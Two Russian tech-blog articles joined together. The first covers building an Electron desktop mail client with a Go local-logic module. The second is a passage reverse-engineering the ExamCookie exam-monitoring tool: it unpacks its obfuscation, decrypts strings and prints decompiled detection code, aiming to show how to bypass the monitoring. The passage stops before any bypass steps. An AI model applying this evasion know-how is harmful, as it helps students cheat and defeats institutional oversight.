Но если говорить про работу с почтой в оффлайне или, как в нашем случае, работу с данными на устройстве пользователя, то нам необходим толстый клиент, который обеспечивает необходимую функциональность независимо от работы сервера.
### Как мы пришли к идее завернуть наше web-приложение в Electron?
В компании уже проводили расчет трудозатрат на запуск полноценного сервиса с оффлайн-функциональностью. Мы рассматривали offline-first подход в web-версии клиента с применением IndexedDB в качестве хранилища и Service Worker как средство кеширования статики. Однако мы пришли к выводу, что потребуется проводить значительный рефакторинг всего клиентского кода с потенциальными трудозатратами в человеко-год.
Более того, сделать по-настоящему настольное приложение силами одного лишь фронтенда не получится. Всё дело в ограниченности браузера при работе с локальной файловой системой.
Одна из главных функций настольного почтового сервиса — локальная архивация писем. Приложение должно уметь выгружать письма в виде архива или файла, а также читать и предоставлять пользователю полноценный доступ к ним. Формально можно загружать такие файлы в браузер, парсить и раскладывать в IndexDB. Но поскольку архивы могут быть большого размера, это заметно снизит производительность. Другое дело — иметь полноценный доступ к файловой системе.
Размышляя об этой задаче, мы решили посмотреть на неё с другой стороны: можно ли решить нашу проблему, вообще не трогая логику web-клиента? Ведь мы не меняем интерфейс, пользователь видит все те же кнопки и визуальные компоненты. Функциональность, которая нам требуется, это совсем не про UI, а про локальную, то есть не серверную, бизнес-логику. Для наглядности размышлений, посмотрим на схему толстого клиента. Отмечу, что речь именно про клиент, поэтому серверная часть будет показана в упрощенном виде:
Здесь мы разделяем клиент на две функциональные части:
* **UI.** По-сути, просто наше web-приложение, тонкий клиент. То есть интерфейс, который отвечает за отрисовку и запрашивает необходимые данные через запросы.
* **Local business logic (далее LBL).** Здесь уже интереснее. Если в тонком клиенте за данными мы ходим напрямую на сервер, то в толстом клиенте — в специальный модуль LBL. Это может быть специальный процесс или отдельный модуль программы. Важно то, что он имеет у себя данные и отвечает за их отправку в UI. Также он отвечает за синхронизацию с сервером.
Как видно на этой схеме, если сервер недоступен, то клиент всё ещё сможет спокойно работать с данными. Более того, это будет не просто режим «только чтение», клиент также сможет совершать и более сложные действия с точки зрения бизнес-логики. Например, написать новое письмо или создать фильтр для писем. И как только почтовый сервис получит доступ к серверу, действия будут синхронизированы.
Оперируя изложенной выше логикой, мы пришли к идее провести эксперимент по упаковке web-приложения в оболочку для толстого клиента. Мы решили проверить, сможем ли использовать технологии, подходы и компоненты из web-версии и серверной части для создания полноценной настольной версии VK WorkMail. Суть эксперимента — быстро проверить гипотезу. Поэтому мы выделили на него сравнительно мало ресурсов: две человеко-недели (одна фронтендера и одна бэкендера). В конечном итоге нам было необходимо получить PoC (Proof of Concept) или, если угодно, MVP настольного приложения VK WorkMail.
#### Проектирование и выбор технологий
Перед тем как приступать непосредственно к коду, мы провели сравнительный анализ нескольких подходов. Взяли Native UI, Qt Framework и Electron и занесли их в таблицу.
| Технология | Примени-мость для web | Кроссплат-форменность | Потребление памяти | Занимает на диске | Производи-тельность | Время на разработку и сопро-вождение |
| --- | --- | --- | --- | --- | --- | --- |
| Native UI | - | - | мало | мало | идеально | очень много |
| QT | - | + | средне (~ 130 Мб) | средне (~ 70,8 Мб) | хорошо | много |
| Electron | + | + | много (от 200 Мб до гигабайтов) | много (не меньше 150 Мб) | медленно | немного |
**Native UI**, возможно, один из лучших вариантов с точки зрения пользовательского опыта. Но наш сервис по умолчанию должен быть кроссплатформенным, а Native UI предполагает разработку отдельной реализации для каждой ОС, то есть как минимум трёх: MacOS, Windows, Linux. Другая проблема заключается в том, что UI VK WorkMail — это довольно сложный с точки зрения дизайн-системы проект. Интерфейс содержит в себе много кастомных компонентов, которые придётся реализовать нативно, что также замедлит разработку.
Следующий вариант — Qt. На бумаге выглядит хорошим и сбалансированным решением для создания настольного приложения. Однако нам в любом случае пришлось бы создать с нуля ещё одну версию приложения и поддерживать её параллельно с web-версией. Очевидно, это не слишком вписывается в концепцию нашего эксперимента.
Поэтому наш взор неизбежно пал на Electron. Кроссплатформенный, с открытым исходным кодом и построенный на web-технологиях. А также медленный (в сравнении с нативными приложениями) и требовательный по ресурсам (в два и более раза по сравнению с тем же Qt). Даже беря во внимание возможные недостатки, в нашей ситуации это был фактически единственный вариант создать настольное приложение командой web-разработчиков.
Для более подробного погружения в тему выбора технологий для создания настольного приложения и более подробного их сравнения советую ознакомиться со статьёй «[Почему Electron это необходимое зло](https://federicoterzi.com/blog/why-electron-is-a-necessary-evil/)» на английском языке.
#### Выбор технологии для LBL-компонента
Если с UI всё более менее понятно — там будут использованы технологии из нашей web-версии, — то с LBL всё интереснее. Это, без сомнений, сердце нашего технического решения. С одной стороны, Electron way — это реализация функциональности внутри процесса Electron, то есть де-факто в NodeJs. Однако в таком случае нам придётся писать всю необходимую логику (возможно, дублирующую её же с сервера) заново, силами JS-программистов.
Есть также другой подход, часто применяемый в настольной разработке: вынесение кроссплатформенной core-части, отвечающей за бизнес-логику (то, что я называю LBL в этой статье) в отдельный модуль и процесс. Такой путь актуален при разработке интерфейса с Native UI-подходом, поскольку в этом случае необходимо использовать свой фреймворк под каждую ОС. Часть, отвечающая за бизнес-логику, пишется один раз и в дальнейшем используется вновь.
Так вот к чему я это всё? У нас уже есть серверная часть Почты, написанная на Go. Поскольку перед нами сейчас стоит задача написать модуль, который будет выполнять различную бизнес-логику на клиенте, то было бы неплохо использовать код сервера.
Мы решили пойти по второму пути и писать LBL-компонент на Go. Принимая это решение, руководствовались следующим:
* Нас привлекала потенциальная возможность использовать серверный код Почты. «Зачем переписывать бизнес-логику работы с письмами на JS, если она уже написана на сервере?»
* Также это возможность распараллелить разработку, пока фронтендеры будут заниматься настройкой Electron, бэкендеры — писать LBL. С точки зрения использования ресурсов, это казалось более правильным путём в full-stack команде, которой я руковожу.
При разработке LBL нас ждали сюрпризы и неожиданности, но к ним мы вернёмся чуть позже.
#### Проектирование UI-компонента
Итак, мы выбрали Electron ради использования наработок нашей web-версии Почты. Давайте посмотрим в общих чертах, как работает наше (а вообще говоря, практически любое) web-приложение:
Когда пользователь заходит на страницу, отправляется get-запрос, который принимает фронтенд-сервер. Внутри сервера есть SSR-сервис, который отвечает за генерирование HTML для пользователя, у нас это NodeJS. Для того, чтобы сгенерировать уникальный HTML с пользовательскими данными, необходимо получить серверные переменные, которые мы получаем в специальном сервисе Config. Далее возвращаем пользователю HTML, в котором вшиты необходимые пользовательские данные, конфиги и т.д. Там же уже вшиты ссылки на разные статические файлы, необходимые для работы приложения: наши любимые JS-бандлы, CSS, картинки и много чего ещё.
В контексте Почты необходимо упомянуть, что мы используем архитектуру микрофронтендов, то есть большинство кусков приложения подгружается по мере необходимости во время работы приложения. Другими словами, когда пользователь открывает VK WorkMail у него грузится необходимый код для отображения списка писем. Далее, если пользователь хочет написать письмо, создать папку или зайти в адресную книгу, то ему асинхронно подгружаются JS/CSS-бандлы из нашего CDN с необходимыми UI и функциональностью.
Собственно, нашей основной задачей на фронте было засунуть всё это великолепие в Electron. Статичные файлы нужно было положить внутрь приложения, локально, и тогда они начали бы подгружаться как прежде, но уже не из CDN, а из файловой системы. Но вот с генерированием HTML с серверными переменными — вопрос. Electron way — это сделать относительно статичный HTML и вынести логику получения всех необходимых данных на клиентскую часть. Но это означало бы значительный рефакторинг core-части приложения, и для PoC за пару недель это не подходит.
Немногим позже мы поняли, что, по сути, уже запускаем наше приложение локально со всем SSR и прочим, когда стартуем dev-сервер для разработки функциональности:
Разработчик запускает dev-server (у нас это webpack), который перед тем как исполнить серверный шаблон ходит за данными на сервер, а затем результат в виде HTML возвращается в браузер. Мы решили взять эту схему для Electron, но за серверными данными ходить уже в локальный Go-модуль. А всё остальное-то у нас уже есть!
#### Финальное техническое решение
Итак, объединив всё наше предыдущее проектирование мы пришли к следующей схеме:
У нас есть процесс Electron, он отвечает за запуск приложения, интеграцию с ОС и прочие вещи, важные для настольного приложения. Вместе с этим процессом запускается и NodeJS-сервер (SSR Service) на [localhost](http://localhost), и который поднимается внутри Electron. Также во время старта он форкает процесс и запускает Go-сервис, который в свою очередь уже работает с локальной базой (SQL-lite) и синхронихируется с сервером по HTTP. Также на файловой системе у нас лежат разные статичные asset’ы, которые нужны для работы приложения и запросы за которыми будут проходить через NodeJS-сервер, поднятый внутри Electron.
### Разработка PoC
Мы не будем подробно разбирать каждую строчку кода, но постараемся кратко подсветить самые интересные и основные моменты в хронологическом порядке.
#### Разработка основной части Electron
Разработка началась с создания чистого репозитория. Мы завели в нем директорию `packages`, в которую планировали положить все необходимые asset’ы для работы приложения: серверные шаблоны, статичные, собранные и минифицированные JS, CSS, изображения и так далее. Далее по README Electron:
```
npm i electron electron-builder
```
Затем создаём `index.js` и погнали (в примерах может быть не совсем валидный код ради удобочитаемости и подчёркивания главных моментов):
```
const {app, BrowserWindow, shell} = require('electron');
const config = require('./config');
const {spawn} = require('child_process');
const server = require('./server');
function createWindow() {
const mainWindow = new BrowserWindow({
width: config.defaultWidth,
height: config.defaultHeight,
center: true,
});
// запускаем гошный локальный АПИ
spawn(`./${config.goModulePath}`, ['-config', `${config.goModulePathConfig}`], {stdio: 'inherit', cwd: __dirname})
// запускаем статик-сервер для генерации HTML и раздачи статики
server.run(config.port, () => {
mainWindow.loadURL(`http://localhost:${config.port}/`);
// открываем ссылки (например внутри писем), в дефолтном браузере, а не в электроне
mainWindow.webContents.setWindowOpenHandler(({url}) => {
if (url.startsWith(config.fileProtocol)) {
return {action: 'allow'};
}
shell.openExternal(url);
return {action: 'deny'};
});
});
}
app.whenReady().then(createWindow);
```
В принципе, этого кода более чем достаточно, чтобы открыть окно на Electron и увидеть белый экран. В дальнейшем появятся нюансы открытия и закрытия окон в MacOS и прочие «доработки», сосредотачиваться на которых в этой статье нет смысла.
#### Авторизация
Как только мы запустили окно Electron, вскрылась проблема, которую мы не учли при проектировании — авторизация. В web-версии VK WorkMail используется классический вариант с куками, но в настольной версии это не будет работать. У нас есть мобильные приложения, которые работают на сессионных токенах, и мы решили использовать их. Однако есть нюанс: мобильные приложения имеют собственные формы логина. Мы не стали делать новую форму в PoC, а выбрали другое решение, которое оказалось даже более приятным с точки зрения пользовательского опыта: прокинули авторизацию из браузера в наше приложение через OAuth. Схема такая: пользователь нажимает в Electron кнопку авторизации, у него открывается окно браузера, и если он в нём уже был авторизован, пользователь просто нажимает кнопку «Войти» у нужного ящика, и приложение всё остальное делает за него. Получилось примерно вот так:
Вы можете задаться вопросом, как получилось пробросить информацию из браузера в настольное приложение? Основная хитрость тут в том, что redirect\_url на который перенаправляет OAuth-провайдер, должен вести на [localhost](http://localhost) на нужный порт или на специальную схему, которую слушает, в нашем случае, LBL и уже принимает токен авторизации.
Также вам может стать интересно, как LBL сообщает UI, что ему нужно перезагрузить страницу и что авторизация уже есть. Для этого мы при открытии браузера открываем SSE-соединение (Server Side Events) с UI в LBL и ждём события, что авторизация получена. Обратить внимание на SSE-подход, потому что мало кто знает, что существуют альтернативы вебсокетам для получения запросов и событий с сервера. Вот код:
```
const link = document.querySelector('#auth-link');
link.addEventListener('click', (e) => {
e.preventDefault();
// генерируем случайную строку для OAuth state параметра
const state = (Date.now() * Math.random()).toString(16);
// открываем соединение с Go модулем LBL
const eventSource = new window.EventSource(`http://localhost:${config.goModulePort}/subscribe_oauth?state=${state}`);
// добавляем обработчики для работы с eventSource
eventSource.addEventListener('message', (event) => {
console.log('eventSource: new message', event.data);
if (event.data === 'success') {
eventSource.close();
location.reload();
}
});
eventSource.addEventListener('error', (event) => {
console.log('error', event);
});
eventSource.addEventListener('open', () => {
console.log('eventSource: open connection');
window.open(link.href += state, '_blanc');
});
});
```
Если вы хотите больше узнать про OAuth, то рекомендую [почитать эту статью](https://habr.com/ru/company/vk/blog/115163/).
#### Сбор всех статичных asset’ов (JS, CSS и изображений) в файловую систему
После того, как вопросы с авторизацией и исполнением серверного шаблона были решены, потребовалось перенести все необходимые для работы приложения файлы на локальную файловую систему. Настроить Node Static Server, чтобы отдавать файлы с файловой системы, — это не проблема. Но собирать десятки файлов и класть их локально вручную — не самое интересное занятие. А лень, как известно, двигатель прогресса. Поэтому мы воспользовались концепцией, распространённой в web-приложениях с service worker’ом: загрузкой статичных asset’ов, когда их нет в кеше. Я добавил такой код в свой express-сервер:
```
app.use('/static', (req, res, next) => {
//проверяем есть ли файл уже в файловой системе
const fileName = `${STATIC_DIR}/${req.path}`;
// синхронно ходить на fs плохо, но этот код вырезается из production сборки
if (!fs.existsSync(fileName)) {
log('file not exists', req.path);
const extname = path.extname(fileName);
proxy.request(
{
url: `https://${config.staticUrl}/${req.path}`,
encoding: binaryMap[extname] ? null : 'utf8', // важно не текстовые форматы правильно кодировать
req,
},
(err, result, body) => {
console.log(result);
fse.outputFileSync(fileName, body, binaryMap[extname] ? 'binary' : 'utf8');
next();
})
} else {
return next();
}
});
app.use('/static', express.static(STATIC_DIR));
```
За одно открытие VK WorkMail я собрал в файловой системе все необходимые файлы, а в production этот `app.use` уже не пошёл.
#### Адаптация интерфейса под работу в «одной вкладке»
Далее, когда мы наконец смогли авторизоваться и отрисовать наше приложение, важно понимать, что пользовательский опыт использования браузерного приложения сильно отличается от настольного. В браузере совершено нормально в процессе работы открывать новые вкладки, переходить на совершено другой сайт по ссылке из вашего приложения, оставаясь в той же вкладке. Когда же мы переносим Почту в настольное приложение, необходимо адаптировать интерфейс под работу «в одной вкладке». Мне повезло, что Почта уже умеет интегрироваться в суперприложение для рабочих коммуникаций VK Teams с помощью WebView, поэтому я просто использовал режим работы Почты оттуда. Подробнее узнать про эту адаптацию можно из [доклада на VK Tech Talks](https://vk.com/video-147415323_456239795) моего коллеги Дениса Романюка.
#### Разработка LBL-модуля на Go
Для PoC было решено в LBL-модуле поддержать полностью read-режим работы, а также поддержать одно write-действие: локальное изменение флажков у писем и их синхронизацию с сервером при наличии сети. То есть мы не поддерживали все функции сервиса локально, а только полностью поддержали чтение и одно из действий, требующих изменение данных с сервера. Этого достаточно для проверки всех наших гипотез и проведения эксперимента.
В качестве базы для локального хранения писем мы взяли SQLite. В качестве веб-фреймворка — Echo, создали в нём отдельные обработчики для взаимодействия с UI Electron и один общий, который обрабатывает запросы к серверу Почты.
### Результат разработки
Мы сделали PoC настольного почтового толстого клиента за две недели: одну неделю фронтендер создавал всю обвязку на Electron и в части с UI, и ещё неделю бэкендер писал модуль на Go.
У нас получилось повторно использовать интерфейс web-версии Почты, при этом с помощью общения с LBL в Go мы смогли в оффлайне предоставить чтение писем и изменение состояния флажков на письмах.
### Выводы об R&D
Первоочередной целью для нас было проверить, возможно ли создать настольное приложение на существующей кодовой базе web-приложения. И мы в хорошем смысле поражены, как легко это получилось с помощью Electron. На вопрос: «Использовали бы вы Electron для создания production ready настольного приложения?» мы ответим — да. Эта технология определённо снижает порог входа в разработку настольных приложений.
Однако с написанием LBL-модуля на Go всё оказалось не так хорошо.
* Во-первых, идея была в том, что мы сможем использовать какую-то логику из нашей серверной кодовой базы на Go, но, как оказалось, практически ничего применить не получилось, бизнес-логика в толстом клиенте сильно отличается от таковой на сервере.
* Во-вторых, отдельный процесс увеличивает риск возникновения потенциальных проблем и багов, которые будет сложно устранить. Что делать, если в Go-модуле произошла паника? Нужно в JS внутри Electron это обрабатывать и перезапускать процесс. Также есть разные нюансы с тем, как операционные системы поступают с процессом приложения при сворачивании или закрытии окна (особенно Mac OS), и вводя дополнительный процесс, которым нужно вручную управлять, мы умножаем сложность работы с этим.
* Ну и наконец межпроцессное взаимодействие. Нам нужно общаться между UI, Electron (Node) и LBL. И реализация взаимодействия между Node и Go по любым сетевым протоколам может значительно влиять на производительность.
В итоге, если бы мы делали production ready-решение, то писали бы бизнес-логику и работу с локальной базой данных внутри NodeJS-процесса Electron.
Напоследок хочу сказать пару слов о фронтенд- и web-разработке. Технологии и требования к приложениям сменяются так быстро, что устойчивые и выверенные практики их создания не успевают появляться. Тем не менее я с предвкушением ожидаю будущее фронтенд- и web-разработки.
Web-приложения запускаются как с браузеров на компьютере и телефоне, так и на Smart TV, чайниках, зубных щётках и [телескопов](https://vc.ru/tech/485844-kosmicheskiy-teleskop-dzheymsa-uebba-po-vidimomu-rabotaet-na-javascript). И Electron, безусловно, одна из технологий, которые вносят вклад во всё это. | https://habr.com/ru/post/689980/ | null | ru | null |
# Слежка на экзаменах: программа ExamCookie
Мне стало известно, что датское правительство не просто [приостановило действие](https://www.version2.dk/artikel/digitale-proevevagt-totalovervaagning-elevers-computere-midlertidigt-trukket-tilbage-1087609) программы Digital Exam Monitor, которую мы проанализировали и полностью обошли в [предыдущей статье](https://vmcall.github.io/reversal/2019/03/07/exam-surveillance.html), а, возможно, [полностью закрыло](https://www.version2.dk/artikel/s-digitale-proevevagt-vender-ikke-tilbage-nuvaerende-form-1087989) эту систему через неделю после того, как мы сообщили им способ взлома. Не хочу думать, что чисто из-за нас датское правительство отказалось от идеи мониторинга экзаменов, но нашу работу явно заметили.
В этой статье мы изложим технические детали, как работает другой инструмент слежки за школьниками: ExamCookie. Если вас интересует только обход системы, пролистайте вниз до соответствующего раздела.
ExamCookie
==========
Недавно этот инструмент [попал в новости](http://nyheder.tv2.dk/samfund/2019-05-17-digital-overvagning-sat-i-bero-fa-dage-for-eksamener) из-за расследования на предмет нарушения GDPR. Мы решили взглянуть на второго по величине конкурента вышеупомянутой системы слежки за школьниками во время сдачи экзаменов: [ExamCookie](https://www.examcookie.dk/). Это коммерческая система слежения, которую используют более 20 датских школ. На сайте нет никакой документации, кроме следующего описания:
> ExamCookie — простое программное обеспечение, которое контролирует компьютерную активность школьника во время экзамена, чтобы убедиться, что соблюдаются правила. Программа запрещает учащимся использовать любые незаконные формы получения помощи.
>
>
>
> ExamCookie сохраняет всю активность на компьютере: активные URL, сетевые подключения, процессы, буфер обмена и скриншоты при изменении размера окна.
Программа работает просто: зайдя на экзамен, вы запускаете её на своём компьютере, и она контролирует вашу активность. Когда экзамен завершён, программа закрывается, и вы можете удалить её с компьютера.
Для запуска слежки нужно использовать свой UNI-логин, который работает на различных образовательных сайтах, или вручную ввести учётные данные. Мы не использовали инструмент, поэтому не можем сказать, в каких случаях применяется вход вручную. Возможно, это сделано для студентов, у которых нет UNI-логина, что мы не считаем возможным.
Информация о бинарнике
======================
Программу можно загрузить с главной страницы сайта ExamCookie. Она представляет собой приложение x86 .NET. Для справки, у анализируемого бинарника MD5-хеш `63AFD8A8EC26C1DC368D8FF8710E337D`, подпись EXAMCOOKIE APS от 24 апреля 2019 года. Как показала [последняя статья](https://vmcall.github.io/reversal/2019/03/07/exam-surveillance.html), анализ бинарника .NET вряд ли можно назвать обратной разработкой, потому что сочетание легко читаемого кода IL и метаданных даёт идеальный исходный код.
В отличие от предыдущей программы наблюдения, разработчики этого инструмента не только удалили его из журнала отладки, но ещё и обфусцировали. По крайней мере, попытались :-)
Обфускация (смех до слёз)
=========================
Открыв приложение в dnSpy, мы быстро заметили недостающую точку входа:
```
// Token: 0x0600003D RID: 61 RVA: 0x00047BB0 File Offset: 0x00045FB0
[STAThread]
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
internal static void Main(string[] Args)
{
}
```
Странно, обычно предполагается какой-то упаковщик, он изменяет тела методов из конструктора модуля, который выполняется до фактической точки входа, давайте посмотрим:
```
// Token: 0x06000001 RID: 1 RVA: 0x00058048 File Offset: 0x00055048
static ()
{
.\u206B\u202B\u200B\u206F\u206C\u202D\u200D\u200E\u202D\u206B\u206F\u206F\u202C\u202A\u206B\u202E\u202A\u206C\u202A\u206C\u200B\u206A\u202D\u206C\u202C\u206C\u200F\u202C\u206C\u202C\u200C\u206A\u200C\u206C\u200B\u206B\u202B\u206E\u202C\u202B\u202E();
.\u206C\u200D\u200F\u200E\u200C\u200C\u200F\u200F\u206E\u206A\u206A\u200B\u202C\u206A\u206B\u200D\u206E\u200E\u202D\u206B\u202C\u206C\u202D\u206D\u200C\u200F\u206E\u200F\u206E\u206A\u202B\u206B\u200E\u206B\u202E\u206F\u206A\u202E\u202C\u202A\u202E();
.\u200B\u202D\u200F\u200F\u202A\u206D\u202C\u206B\u206E\u202A\u206F\u206C\u200D\u200C\u202D\u200F\u202B\u202C\u202B\u206D\u206D\u202D\u206E\u200D\u206D\u206A\u202A\u202C\u200C\u206F\u206B\u206E\u200D\u202E\u206F\u200C\u206B\u200E\u206D\u206A\u202E();
}
```
Круто. Сейчас 2019 год, а люди всё ещё используют Confuser(Ex).
Мы мгновенно распознали этот код распаковки и проверили заголовки ассемблера:
```
[module: ConfusedBy("Confuser.Core 1.1.0+a36320377a")]
```
На данный момент мы полагали, что код реально будет обфусцирован, поскольку вышеупомянутый конструктор расшифровывает тела и ресурсы метода. Но, к нашему удивлению, разработчик обфускации решил… не переименовывать метаданные:
Это убивает весь кайф реверс-инжиниринга. Как мы говорили в [прошлой статье](https://vmcall.github.io/reversal/2019/03/07/exam-surveillance.html), хотелось бы столкнуться с реальной проблемой должным образом защищённого, высококачественного инструмента наблюдения, анализ которого займёт больше пяти минут.
В любом случае, распаковка любого бинарника, защищённого confuser(ex), очень проста: используйте дампер бинарников .NET или точку останова инструкции ret в .ctor и сделайте дамп самостоятельно. Процесс занимает 30 секунд, а этот упаковщик всегда останется моим любимым, потому что защита против дебага *вообще никогда не работает*.
Мы решили использовать MegaDumper: это немного быстрее, чем дамп вручную:
После дампа бинарника ExamCookie должно появиться следующее сообщение:
Теперь у вас есть каталог со всеми фрагментами ассемблера, которые загружаются в соответствующий процесс, на этот раз с расшифрованными телами методов.
Кто бы ни реализовал эту обфускацию, слава богу, он хотя бы зашифровал строки:
```
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.SymbolicLink))
{
Module1.DebugPrint(.smethod\_5(1582642794u), new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.Tiff))
{
Module1.DebugPrint(.smethod\_2(4207351461u), new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.UnicodeText))
{
Module1.DebugPrint(.smethod\_5(3536903244u), new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.WaveAudio))
{
Module1.DebugPrint(.smethod\_2(2091555364u), new object[0]);
}
```
Да, старое доброе шифрование строк Confuser(Ex), самая лучшая псевдобезопасность в мире .NET. Хорошо, что Confuser(Ex) так часто взламывали, что в интернете доступны инструменты деобфускации для каждого механизма, поэтому мы не тронем ничего, связанного с .NET. Запустим на дампе бинарника ConfuserExStringDecryptor от *CodeCracker*:
Он преобразует предыдущий фрагмент в это:
```
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.SymbolicLink))
{
Module1.DebugPrint("ContainsData.SymbolicLink", new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.Tiff))
{
Module1.DebugPrint("ContainsData.Tiff", new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.UnicodeText))
{
Module1.DebugPrint("ContainsData.UnicodeText", new object[0]);
}
else if (System.Windows.Forms.Clipboard.ContainsData(DataFormats.WaveAudio))
{
Module1.DebugPrint("ContainsData.WaveAudio", new object[0]);
}
```
Вот и вся защита приложения, разорванная менее чем за минуту… Не будем тут выкладывать наши инструменты, потому что не мы их разработали и у нас нет исходного кода. Но каждый, кто хочет повторить работу, может найти их на *Tuts4You*. У нас больше нет аккаунта tuts4you, поэтому не можем поставить ссылку на зеркала.
Функциональность
================
Удивительно, но никакой реальной «скрытой функциональности» обнаружено не было. Как указано на сайте, на сервер периодически отправляется следующая информация:
* Список процессов (каждые 5000 мс)
* Активное приложение (каждые 1000 мс)
* Буфер обмена (каждые 500 мс)
* Скриншот (каждые 5000 мс)
* Список сетевых адаптеров (каждые 20000 мс)
Остальная часть приложения очень скучна, поэтому мы решили пропустить всю процедуру инициализации и перейти непосредственно к функциям, ответственным за захват информации.
Адаптер
-------
Сетевые адаптеры собираются функцией .NET `NetworkInterface.GetAllNetworkInterfaces()`, точно как в [прошлой статье](https://vmcall.github.io/reversal/2019/03/07/exam-surveillance.html):
```
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface networkInterface in allNetworkInterfaces)
{
try
{
// ...
// TEXT FORMATTING OMITTED
// ...
dictionary.Add(networkInterface.Id, stringBuilder.ToString());
stringBuilder.Clear();
}
catch (Exception ex)
{
AdapterThread.OnExceptionEventHandler onExceptionEvent = this.OnExceptionEvent;
if (onExceptionEvent != null)
{
onExceptionEvent(ex);
}
}
}
result = dictionary;
```
Активное приложение
-------------------
Это становится интересным. Вместо того, чтобы регистрировать все открытые окна, утилита контролирует только активное приложение. Реализация раздута, поэтому приводим бьютифицированный псевдокод:
```
var whiteList = {
"devenv",
"ExamCookie.WinClient",
"ExamCookie.WinClient.vshost",
"wermgr",
"ShellExperienceHost" };
// GET WINDOW INFORMATION
var foregroundWindow = ApplicationThread.GetForegroundWindow();
ApplicationThread.GetWindowRect(foregroundWindow, ref rect);
ApplicationThread.GetWindowThreadProcessId(foregroundWindow, ref processId);
var process = Process.GetProcessById(processId);
if (process == null)
return;
// LOG BROWSER URL
if (IsBrowser(process))
{
var browserUrl = UiAutomation32.GetBrowserUrl(process.Id, process.ProcessName);
// SEND BROWSER URL TO SERVER
if (ValidBrowserUrl(browserUrl))
{
ReportToServer(browserUrl);
}
}
else if (!whiteList.contains(process.ProcessName, StringComparer.OrdinalIgnoreCase))
{
ReportToServer(process.MainWindowTitle);
}
```
Отлично… люди всё ещё используют имена процессов для их дифференциации. Они никогда не останавливаются и не думают: «Погодите, ведь можно как угодно изменить имена процессов», поэтому мы можем спокойно обходить эту защиту.
Если вы прочитали прошлую статью о другой программе слежки за экзаменом, вероятно, вы узнаете эту реализацию subpar для поиска браузеров:
```
private bool IsBrowser(System.Diagnostics.Process proc)
{
bool result;
try
{
string left = proc.ProcessName.ToLower();
if (Operators.CompareString(left, "iexplore", false) != 0 &&
Operators.CompareString(left, "chrome", false) != 0 &&
Operators.CompareString(left, "firefox", false) != 0 &&
Operators.CompareString(left, "opera", false) != 0 &&
Operators.CompareString(left, "cliqz", false) != 0)
{
if (Operators.CompareString(left, "applicationframehost", false) != 0)
{
result = false;
}
else
{
result = proc.MainWindowTitle.Containing("Microsoft Edge");
}
}
else
{
result = true;
}
}
catch (Exception ex)
{
result = false;
}
return result;
}
```
```
private string GetBrowserName(string name)
{
if (Operators.CompareString(name.ToLower(), "iexplore", false) == 0)
{
return "IE-Explorer";
}
else if (Operators.CompareString(name.ToLower(), "chrome", false) == 0)
{
return "Chrome";
}
else if (Operators.CompareString(name.ToLower(), "firefox", false) == 0)
{
return "Firefox";
}
else if (Operators.CompareString(name.ToLower(), "opera", false) == 0)
{
return "Opera";
}
else if (Operators.CompareString(name.ToLower(), "cliqz", false) == 0)
{
return "Cliqz";
}
else if (Operators.CompareString(name.ToLower(), "applicationframehost", false) == 0)
{
return "Microsoft Edge";
}
return "";
}
```
И вишенка на торте:
```
private static string GetBrowserUrlById(object processId, string name)
{
// ...
automationElement.GetCurrentPropertyValue(/*...*/);
return url;
}
```
Это буквально та же реализация, что и в прошлой статье. Трудно понять, как разработчики до сих пор не поняли, насколько она плоха. Кто угодно может редактировать URL в браузере, это даже не стоит демонстрировать.
Обнаружение виртуальной машины
------------------------------
Вопреки тому, что говорится на веб-сайте, запуск на виртуальной машине устанавливает флаг. Реализация… интересная.
```
File.WriteAllBytes("ecvmd.exe", Resources.VmDetect);
using (Process process = new Process())
{
process.StartInfo = new ProcessStartInfo("ecvmd.exe", "-d")
{
CreateNoWindow = true,
UseShellExecute = false,
RedirectStandardOutput = true
};
process.Start();
try
{
using (StreamReader standardOutput = process.StandardOutput)
{
result = standardOutput.ReadToEnd().Replace("\r\n", "");
}
}
catch (Exception ex3)
{
result = "-5";
}
}
```
Хорошо, по какой-то причине они записывают на диск внешний бинарник и выполняют его, а затем полностью полагаются на результаты ввода-вывода. Такое действительно встречается частенько, но передача такой важной работы другому незащищённому процессу — так себе. Посмотрим, с каким файлом мы имеем дело:
Так теперь мы используем C++? Что ж, функциональная совместимость на самом деле не обязательно плоха. И это может означать, что нам теперь реально придётся потрудиться над обратной разработкой (!!). Посмотрим в IDA:
```
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
BOOL v4; // ebx
int v5; // ebx
int *v6; // eax
int detect; // eax
bool vbox_key_exists; // bl
char vpcext; // bh
char vmware_port; // al
char *vmware_port_exists; // ecx
char *vbox_detected; // edi
char *vpcext_exists; // esi
int v14; // eax
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // eax
int v20; // [esp+0h] [ebp-18h]
HKEY result; // [esp+Ch] [ebp-Ch]
HKEY phkResult; // [esp+10h] [ebp-8h]
if ( argc != 2 )
goto LABEL_20;
v3 = strcmp(argv[1], "-d");
if ( v3 )
v3 = -(v3 < 0) | 1;
if ( !v3 )
{
v4 = (unsigned __int8)vm_detect::vmware_port() != 0;
result = 0;
v5 = (vm_detect::vpcext() != 0 ? 2 : 0) + v4;
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, 0x20019u, &result);
v6 = sub_402340();
LABEL_16:
sub_404BC0((int)v6, v20);
return 0;
}
detect = strcmp(argv[1], "-s");
if ( detect )
detect = -(detect < 0) | 1;
if ( !detect )
{
LABEL_20:
phkResult = 0;
vbox_key_exists = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, 0x20019u, &phkResult) == 0;
vpcext = vm_detect::vpcext();
vmware_port = vm_detect::vmware_port();
vmware_port_exists = "1";
vbox_detected = "1";
if ( !vbox_key_exists )
vbox_detected = "0";
vpcext_exists = "1";
if ( !vpcext )
vpcext_exists = "0";
if ( !vmware_port )
